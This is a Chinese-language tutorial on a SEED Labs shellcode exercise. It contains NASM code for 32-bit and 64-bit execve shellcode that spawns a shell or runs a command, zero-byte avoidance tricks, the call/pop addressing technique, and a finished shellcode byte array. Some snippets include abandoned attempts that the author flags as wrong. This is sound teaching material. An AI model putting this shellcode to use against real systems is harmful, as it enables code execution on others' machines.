1. 从零开始:Shellcode到底是什么?
如果你刚开始接触安全技术,听到“Shellcode”这个词可能会觉得有点神秘,甚至有点吓人。别担心,我第一次接触它的时候也是一头雾水。简单来说,你可以把Shellcode想象成一段“浓缩的、能直接让电脑干活”的机器指令。它的名字来源于它最经典的一个用途:获取一个系统“shell”(也就是命令行窗口)。比如,一段成功的Shellcode执行后,可能会在你的目标机器上弹出一个命令行,让你可以执行任意命令。
但它的作用远不止于此。理论上,任何你想让CPU直接执行的操作,只要能翻译成机器码,都能做成Shellcode。它之所以在安全领域,尤其是渗透测试和漏洞利用中如此重要,是因为它往往是攻击载荷(Payload)的核心。当攻击者通过缓冲区溢出等漏洞,成功控制了程序的执行流程后,他们需要一段代码来“做点有用的事”,这段代码就是Shellcode。它需要极其精炼,直接与操作系统内核对话,不依赖任何外部库。
在Seed Labs这个实验环境里,我们不是去做坏事,而是通过亲手构建Shellcode,来彻底理解攻击是如何发生的,以及如何防御。这就像为了成为顶尖的汽车安全工程师,你必须先学会如何撬开车锁、绕过防盗系统一样。只有知道了攻击者的所有伎俩,你才能设计出真正固若金汤的防御方案。所以,请抱着学习和研究的心态,跟着我从最基础的32位环境开始,一步步揭开Shellcode开发的面纱。
2. 32位战场:亲手打造你的第一段Shellcode
2.1 环境搭建与“Hello World”级Shellcode
工欲善其事,必先利其器。我们首先需要一个实验场。Seed Labs推荐的是Ubuntu 20.04的虚拟机环境,这为我们提供了一个干净、可控的操作系统。你需要安装的关键工具是nasm(Netwide Assembler)和ld(GNU链接器)。在终端里一条命令就能搞定:sudo apt-get install nasm binutils。准备好这些,我们的探险就正式开始了。
让我们从一个最简单的目标开始:写一段能启动/bin/sh的Shellcode。为什么是/bin/sh?因为在Unix-like系统里,这就是命令解释器(shell)的本体,执行它就等于获得了一个交互式命令行。在C语言里,我们调用execve(“/bin/sh”, NULL, NULL)就能实现。但在Shellcode的世界里,我们没有printf,没有execve函数库,我们必须用最原始的汇编语言,直接通过“系统调用”来请求内核为我们服务。
系统调用是用户程序请求操作系统内核服务的唯一方式。在32位Linux下,我们通过int 0x80指令(软中断)来触发,而具体要调用哪个服务(比如execve),则由eax寄存器中的号码决定。execve的系统调用号是11,也就是十六进制的0x0b。同时,我们需要把参数依次放入ebx、ecx、edx寄存器。ebx指向要执行的程序路径字符串(/bin/sh),ecx指向参数数组(argv),edx指向环境变量数组(envp)。我们的第一个任务,就是在内存中构建出这些数据结构。
下面就是我们的起点代码 mysh.s。我强烈建议你跟着我一起敲一遍,感受一下汇编是如何在内存中“搭建积木”的:
section .text
global _start
_start:
; 第一步:把 “/bin//sh” 字符串压入栈,并获取其地址
xor eax, eax ; 清空eax,同时这也是产生0的高效方法
push eax ; 在字符串末尾压入一个NULL(0),作为字符串结束符
push “//sh” ; 注意这里是“//sh”,两个斜杠。原因马上解释。
push “/bin” ; 现在栈顶是“/bin//sh\0”的地址
mov ebx, esp ; 把当前栈顶指针(即字符串地址)存入ebx,作为第一个参数
; 第二步:构建argv参数数组。对于“/bin/sh”,我们通常不需要额外参数。
push eax ; argv[1] = NULL,数组结束标记
push ebx ; argv[0] = 指向“/bin//sh”的指针
mov ecx, esp ; 把当前栈顶指针(即argv数组的地址)存入ecx,作为第二个参数
; 第三步:设置环境变量参数。我们不需要,所以edx设为NULL。
xor edx, edx ; 清空edx,表示envp = NULL
; 第四步:发起系统调用
xor eax, eax ; 再次清空eax
mov al, 0x0b ; 将execve的系统调用号0x0b(11)放入eax的低位
int 0x80 ; 触发中断,呼叫内核!
代码写好了,怎么让它变成可以运行的“子弹”呢?分三步走:汇编、链接、提取。在终端里执行:
nasm -f elf32 mysh.s -o mysh.o # 汇编,生成目标文件
ld -m elf_i386 mysh.o -o mysh # 链接,生成可执行文件
./mysh # 运行它!你应该会获得一个新的shell提示符。
运行前后,可以用echo $$打印一下当前shell的进程ID,你会发现ID变了,证明我们确实成功创建了一个新的shell进程!这就是你的第一个Shellcode程序,虽然它现在还是个独立的可执行文件,但离成为真正的“代码注入载荷”只有一步之遥了。
2.2 零字节危机:为什么Shellcode里不能有“0x00”?
恭喜你成功运行了第一个程序!但先别高兴太早,我们马上要面对Shellcode开发中的第一个经典难题:零字节问题。在上面的代码里,你可能已经注意到了我用的一个小技巧:xor eax, eax。这行代码的作用是把eax寄存器清零,它生成的机器码是0x31 0xc0,里面没有一个字节是0x00。为什么我不用更直观的mov eax, 0呢?因为mov eax, 0对应的机器码里就包含了0x00字节。
这为什么是个问题?想象一个最常见的攻击场景:利用strcpy这类函数进行缓冲区溢出。strcpy在复制字符串时,一旦遇到0x00字节,就会认为字符串结束了,停止复制。如果你的Shellcode中间有一个零字节,那么它后半部分的代码根本不会被复制到目标缓冲区,攻击自然就失败了。因此,一段健壮的、通用性强的Shellcode,其机器码中绝对不能包含0x00字节。
我们的第一个示例其实已经偷偷引入了一个潜在的零字节风险。注意我们压入的字符串是/bin//sh。为什么要用两个斜杠?在32位系统下,压栈指令push默认操作32位(4字节)数据。/bin/sh只有7个字节,不够4字节对齐。如果直接压入/bin/sh\0,汇编器可能会在内存中对齐时在高位补零,从而在机器码中产生0x00。多加一个斜杠凑成8字节,就完美避免了这个问题。但任务要求来了:现在我们要执行/bin/bash,并且不允许添加多余的/。/bin/bash正好9个字节,这又不对齐了,怎么办?
这就需要我们发挥创造力,手动构造字符串。思路是分块压栈,并巧妙使用8位(al)和16位(ax)寄存器来搬运字符,避免高位自动补零。看下面的解决方案:
section .text
global _start
_start:
; 构造 “/bin/bash\0” 字符串
xor eax, eax ; eax = 0
push eax ; 先压入字符串终止符NULL (0)
; 处理最后一个字符 ‘h’, 用al寄存器(8位)来操作
xor eax, eax ; 再次清空eax
mov al, ‘h’ ; 只设置al(低8位)为 ‘h’ 的ASCII码,高位保持为0
push eax ; 将 ‘h\0\0\0’ 压栈,但只有第一个字节是‘h’,后面是0?不!
; 注意:此时栈上4字节是:0x68, 0x00, 0x00, 0x00。顶部又有了0!
; 所以正确做法是:不单独压‘h’,而是把‘bash’作为整体
mov eax, ‘bash’ ; 将字符串“bash”的ASCII码移入eax。但‘bash’是4字符,没问题。
push eax ; 压入 “bash”
push ‘/bin’ ; 压入 “/bin”
; 此时栈从高到低是:”/bin” “bash” 0x00000068 ... 不对,顺序反了!
; 正确的顺序应该是:先压入“h”,再压入“/bas”,最后压入“/bin”
; 因为栈是向下增长的,后压入的地址更低。
xor eax, eax
push eax ; 先压入最终的NULL终止符
mov al, ‘h’ ; al = ‘h’
push ax ; 压入ax(16位),内容是 ‘h’ + 一个零字节?还是不对。
看到这里是不是有点晕?这正是Shellcode编程的烧脑之处,你需要像玩拼图一样在内存中精确布局。最终的技巧是:利用字(word,16位)操作来避免零。/bin/bash是9字节,我们把它分成/bin/bas(8字节)和h(1字节)。h我们用一个16位的push指令来操作,这样压入的是两个字节(0x0068),其中只有低字节是0x68(‘h’),高字节是0x00。哎,这不又引入零了吗?别急,这个零是在字符串的末尾,作为终止符是允许的!我们怕的是字符串中间出现零。所以,我们构造的顺序是:先压入0x0068(‘h\0‘),再压入/bas,最后压入/bin。这样在内存中从低到高就是/bin/bas‘h\0‘,完美!具体的代码调整和验证,就需要你亲手在实验环境里调试观察了,这个过程会让你对内存布局有刻骨铭心的理解。
2.3 参数传递的艺术:让Shellcode执行复杂命令
只会弹一个shell,有时候还不够“定制化”。真实的攻击中,我们可能希望Shellcode直接执行一条特定命令,比如ls -la列出目录,或者cat /etc/passwd读取敏感文件。这就涉及到如何给execve系统调用传递更复杂的参数。
execve的函数原型是int execve(const char *filename, char *const argv[], char *const envp[])。第二个参数argv是一个指针数组,指向一个个参数字符串,数组最后必须以一个NULL指针结束。例如,要执行/bin/sh -c “ls -la”,我们需要构造如下的argv数组:
argv[0] -> 地址1 -> “/bin/sh”
argv[1] -> 地址2 -> “-c”
argv[2] -> 地址3 -> “ls -la”
argv[3] -> NULL
在Shellcode里,我们需要在栈上手动搭建这个复杂的结构。这就像用汇编语言玩一场内存搭积木游戏,顺序至关重要。因为栈是向下(低地址)增长的,而数组在内存中是连续存放的,所以我们必须从后往前构造这些元素。
首先,我们需要在栈上创建这三个参数字符串:“ls -la”、“-c”、“/bin/sh”,并记住它们的地址。然后,我们再按argv[3](NULL)、argv[2]、argv[1]、argv[0]的顺序,将这些地址压栈,形成数组。最后,栈顶指针esp指向的就是这个数组的起始地址,把它赋给ecx寄存器即可。
这里还有一个技巧点:字符串“-c”和“la”长度都是2字节(加上结尾NULL是3字节),不足4字节。如果我们用32位的push指令,又会面临高位补零的问题。和之前一样,我们可以使用16位的寄存器ax来操作。例如,mov ax, ‘-c‘ 会把‘-c‘的ASCII码放入ax(16位),然后push ax,这样压入栈的就是2字节的有效数据加2字节的“空白”(可能是旧数据或零,但我们在乎的是字符串本身不以零开头)。只要我们在构造字符串时确保正确的终止符,这些“空白”不会影响字符串的读取。
section .text
global _start
_start:
; 1. 构造第三个参数字符串 “ls -la\0”
xor eax, eax
mov ax, ‘la‘ ; 将 ‘la‘ 的ASCII码移入ax(16位)
push eax ; 压栈,此时栈顶4字节为 ‘la\0\0‘
push ‘ls -‘ ; 压入 ‘ls -‘, 与前面组成 “ls -la\0”
mov edx, esp ; 将字符串”ls -la”的地址保存到edx
; 2. 构造第二个参数字符串 “-c\0”
xor eax, eax
mov ax, ‘-c‘ ; 将 ‘-c‘ 的ASCII码移入ax
push eax ; 压栈
mov ecx, esp ; 将字符串“-c”的地址保存到ecx
; 3. 构造第一个参数字符串 “/bin/sh\0” (用//sh对齐)
xor eax, eax
push eax ; 字符串终止符
push ‘//sh‘
push ‘/bin‘
mov ebx, esp ; 将字符串“/bin//sh”的地址保存到ebx
; 4. 构造argv[]指针数组
xor eax, eax ; eax作为NULL指针(0)
push eax ; argv[3] = NULL
push edx ; argv[2] = 指向“ls -la”的地址
push ecx ; argv[1] = 指向“-c”的地址
push ebx ; argv[0] = 指向“/bin//sh”的地址
mov ecx, esp ; ecx = argv数组的起始地址
; 5. 设置环境变量(无)
xor edx, edx
; 6. 执行系统调用
xor eax, eax
mov al, 0x0b
int 0x80
当你成功编译运行这段代码,看到它真的执行了ls -la命令并输出目录列表时,那种成就感是无与伦比的。这说明你已经能精确控制内存,为系统调用准备复杂的参数了。
2.4 环境变量的构造:为进程注入特定上下文
环境变量是进程运行上下文的重要组成部分。有时候,我们注入的Shellcode需要让新进程运行在特定的环境变量下。execve的第三个参数envp就是用于此目的。构造环境变量数组envp的原理,和构造argv数组一模一样:它是一个以NULL结尾的指针数组,每个指针指向一个形如“NAME=VALUE”的字符串。
假设我们需要让Shellcode执行/usr/bin/env命令(该命令会打印所有环境变量),并确保只打印出aaa=1234、bbb=5678、cccc=1234这三个变量。那么,我们需要构造的envp数组如下:
envp[0] -> 地址A -> “aaa=1234\0”
envp[1] -> 地址B -> “bbb=5678\0”
envp[2] -> 地址C -> “cccc=1234\0”
envp[3] -> NULL
任务里还有一个刁钻的要求:环境变量cccc=1234的字符串长度(cccc4字节 + =1字节 + 12344字节 = 9字节)不是4的倍数,这会给我们的内存对齐带来一点小麻烦。我们需要像之前处理参数字符串一样,精心安排每个字符串在栈上的位置,并确保每个字符串都以NULL结尾。
构造的思路依然是“自底向上”。我们先在栈上创建好这三个环境变量字符串,并记下它们的地址。然后,再按envp[3](NULL)、envp[2]、envp[1]、envp[0]的顺序,将这些地址压栈,形成envp数组。最后,将数组的起始地址赋给edx寄存器。这个过程和构造argv是并行的,你需要同时管理好两个数组的构建顺序,确保栈指针的移动在你掌控之中。这非常锻炼你对栈内存布局的宏观把控能力。我建议你在纸上画一下栈的变化图,每执行一条push指令,栈指针如何移动,数据如何存放,一目了然。这是理解Shellcode内存艺术的最佳方式。
3. 进阶技巧:利用代码段获取数据地址
在任务1的方法中,我们所有数据(字符串、数组)都是在栈上动态构建的,然后通过esp寄存器来获取它们的地址。这是一种非常直接的方法。但还有另一种更巧妙、在历史上被广泛使用的技术:利用call指令来获取数据地址。
其核心思想源于call指令的行为:当执行call label时,CPU会将下一条指令的地址(返回地址)压入栈中,然后跳转到label处执行。如果我们把数据直接放在call指令的后面呢?那么,被压入栈的“返回地址”,恰恰就是这段数据的起始地址!我们在被call调用的函数开头,用一条pop指令,就能把这个数据地址弹到某个寄存器里,从而获得了数据的引用。
我们来看Seed Labs提供的mysh2.s示例的精妙之处:
section .text
global _start
_start:
jmp short two ; 1. 首先跳转到two标签
one:
pop ebx ; 3. 弹出栈顶值到ebx,这个值就是字符串“/bin/sh*AAAABBBB”的地址!
... (后续利用ebx进行偏移,修改字符串和设置参数) ...
two:
call one ; 2. 调用one,同时将下一行数据的地址压栈
db ‘/bin/sh*AAAABBBB‘ ; 这不是指令,是数据!它的地址被压栈了。
这段代码像一段舞蹈。jmp short two跳过数据区直接执行call one,call指令将字符串的地址压栈并跳转到one。one的第一条指令pop ebx正好把这个地址弹出来使用。字符串中的*是一个占位符,后续代码会将其替换为NULL字节作为字符串终止符。AAAA和BBBB也是占位符,会被替换为argv数组的指针。
这种方法的好处是,Shellcode的数据和代码紧密耦合在一起,位置固定,便于计算偏移。在真实的漏洞利用中,注入的Shellcode通常位于堆栈或堆等可写内存区域,这种“代码和数据混合”的方式完全可行。但在我们将其链接成独立可执行文件进行测试时,需要注意代码段默认是“只读”的。尝试修改代码段中的数据(如将*改为NULL)会引发段错误。因此,在链接时需要加上--omagic选项,让代码段可写:ld --omagic -m elf_i386 mysh2.o -o mysh2。
你的任务是运用这种技术,实现一个能打印特定环境变量的Shellcode。这要求你不仅要理解call/pop取址的技巧,还要能精确计算每个环境变量字符串、每个指针在数据区中的偏移位置。你需要像设计师一样,先规划好整个数据块的布局:/usr/bin/env\0、a=11\0、b=22\0、以及用于存放指向这些字符串的指针的空间。然后,在代码中通过ebx加上正确的偏移量,去修改占位符、设置指针值。这个过程是对你汇编计算能力和内存布局理解程度的终极考验。
4. 迈向64位:架构变迁带来的挑战与机遇
时代在进步,现在的主流系统已经是64位(x64)的天下了。虽然64位系统大多兼容32位程序,但为64位环境编写原生的Shellcode正变得越来越重要。从32位到64位,不仅仅是寄存器名字从eax变成了rax,整个系统调用的约定都发生了翻天覆地的变化。
首先,系统调用的方式变了。32位下我们用int 0x80软中断,而64位下使用的是专门的syscall指令。这更高效,也更现代。
其次,系统调用号和参数传递的寄存器全换了。这是最容易出错的地方。我们来看一下对比:
| 项目 | 32位 (x86) | 64位 (x64) |
|---|---|---|
| 系统调用指令 | int 0x80 | syscall |
| 调用号存放 | eax | rax |
| 第1个参数 | ebx | rdi |
| 第2个参数 | ecx | rsi |
| 第3个参数 | edx | rdx |
| 第4个参数 | esi | r10 |
| 第5个参数 | edi | r8 |
| 第6个参数 | ebp | r9 |
对于execve调用,64位下的系统调用号是59(十六进制0x3b),而不是11。参数顺序是:rdi指向文件名,rsi指向argv数组,rdx指向envp数组。
最后,寄存器和数据宽度扩大了。通用寄存器扩展为64位(如rax, rbx),并且新增了r8到r15等寄存器。push和pop指令默认操作64位数据。这带来一个好处:我们有时可以一次性处理更长的数据。但同时也带来一个挑战:在64位模式下,立即数(比如字符串常量)被push时是64位的,如果这个立即数的高位字节是零,那么机器码中就可能出现零字节。例如,push ‘/bin/sh‘ 在64位汇编中,实际上会生成一个8字节的常量压栈,如果/bin/sh不足8字节,高位可能会被补零。
因此,在编写64位Shellcode时,消除零字节的技巧需要升级。我们可能需要更多地使用寄存器运算来构造数据,而不是直接压入立即数。例如,可以先清空rax,然后分步设置其值,再压栈。
section .text
global _start
_start:
; 目标:执行 /bin/bash
xor rdx, rdx ; 清空rdx,作为第三个参数(envp=NULL)
; 构造 “/bin/bash\0” 字符串
; 注意:不能直接 push ‘/bin/bash‘,因为可能产生零字节
mov rax, ‘/bin/bas‘ ; rax = ‘/bin/bas‘ (8字节,无零)
push rax ; 压入前8字节
; 现在需要处理 ‘h‘ 和终止符
mov al, ‘h‘ ; 设置rax的最低字节为 ‘h‘,此时rax高56位是 ‘/bin/bas‘ 的残留,需要清理吗?
; 不,我们换一种思路。我们已经压入了‘/bin/bas‘,栈上现在有8字节。
; 我们需要在栈顶接着放 ‘h\0‘。
; 更安全的方法是重新构造整个字符串:
xor rax, rax ; 清空rax
push rax ; 先压入8字节的0,作为字符串终止符和填充
mov rax, ‘/bin/bas‘ ; rax = ‘/bin/bas‘
push rax ; 压入
; 此时栈从高到低是:8字节0 -> ‘/bin/bas‘
; 我们需要把栈顶指针指向 ‘/bin/bas‘ 的开头,并确保其后面是 ‘h\0‘
; 这需要更精细的栈操作。一个常见的技巧是:
xor rax, rax
mov al, ‘h‘
push ax ; 压入 ‘h\0‘ (16位)
mov rax, ‘/bin/bas‘
push rax
mov rdi, rsp ; rdi现在指向 “/bin/bash\0” 字符串
; 构造argv数组: [“/bin/bash”, NULL]
push rdx ; argv[1] = NULL (rdx已经是0)
push rdi ; argv[0] = 指向字符串的地址
mov rsi, rsp ; rsi = argv数组地址
; 发起系统调用
xor rax, rax
mov al, 0x3b ; execve的系统调用号是59 (0x3b)
syscall
编写64位Shellcode是一个全新的练习,它迫使你重新思考数据布局和寄存器操作。你必须使用objdump -M intel -d或xxd命令仔细检查生成的机器码,确保没有一个0x00字节。这个过程可能会让你反复调试很多次,但每一次失败都会让你对64位汇编和系统调用约定有更深的理解。当你最终看到/bin/bash的提示符在64位环境下成功弹出时,你会感到所有的努力都是值得的。
5. 实战演练:从理论到武器的关键一步
经过前面几个任务的锤炼,你已经掌握了编写功能性和无零字节Shellcode的核心技能。但到目前为止,我们编写的都是可以独立编译运行的程序。在真实的漏洞利用场景中,Shellcode是作为一段机器码“注入”到目标程序的内存中并执行的。因此,从可执行文件中提取出纯净的机器码,是将其转化为“武器”的关键一步。
如何提取?我们常用objdump和xxd这两个工具。以我们第一个32位的mysh程序为例:
objdump -M intel -d mysh
在反汇编的输出中,.text段部分,每一行汇编代码前面都有一串十六进制数字,那就是机器码。你需要把它们按顺序拼接起来。或者,更直接的方法是用xxd:
xxd -p mysh | tr -d ‘\n‘
这会以十六进制纯文本形式输出整个文件的内容。你需要从中找到对应代码段的部分,这通常需要一些经验来判断起始和结束位置。一个更精准的方法是先objdump -d找到.text段的起始地址和大小,然后用dd命令从二进制文件中切出对应的部分。
提取出的机器码看起来像是一长串十六进制字符,例如31c050682f2f7368682f62696e89e3505389e131d2b00bcd80。在攻击代码(比如一个C语言漏洞利用程序)中,我们会把它定义成一个字节数组:
char shellcode[] = “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80”;
手动转换这些\x格式非常容易出错。我们可以写一个简单的Python脚本convert.py来自动化这个过程。你只需要把xxd输出的纯十六进制码粘贴进去,它就能输出可以直接粘贴到C或Python代码中的数组格式。这个脚本本身也是学习字符串处理和格式化输出的好例子。
最后,我想分享一个我踩过的坑:地址空间布局随机化(ASLR)和不可执行(NX)保护。现代操作系统都默认开启了这些安全机制。ASLR会使堆栈地址每次运行都变化,让你的Shellcode地址难以预测。NX(或DEP)会将数据区域(如栈)标记为不可执行,即使你成功将代码注入到栈上,CPU也无法执行它。这意味着我们目前学习的这种直接将Shellcode放在栈上并跳转执行的经典栈溢出攻击,在现代系统上已经很难直接成功了。
但这并不意味着Shellcode技术过时了。相反,它进化了。攻击者发展出了返回导向编程(ROP) 等技术来绕过NX:他们不再注入自己的代码,而是利用程序中已有的代码片段(gadgets)拼凑出攻击逻辑。在这种情况下,Shellcode的编写思想——精炼、无零、直接操作底层——依然至关重要,只不过表现形式从“注入代码”变成了“构造数据链”和“布局内存”。理解基础的Shellcode开发,是理解这些高级攻击技术的基石。每一次你为消除一个零字节而苦思冥想,每一次你为计算一个正确的内存偏移而反复调试,都是在锻炼你作为安全研究员最核心的底层思维和能力。
294



被折叠的 条评论
为什么被折叠?



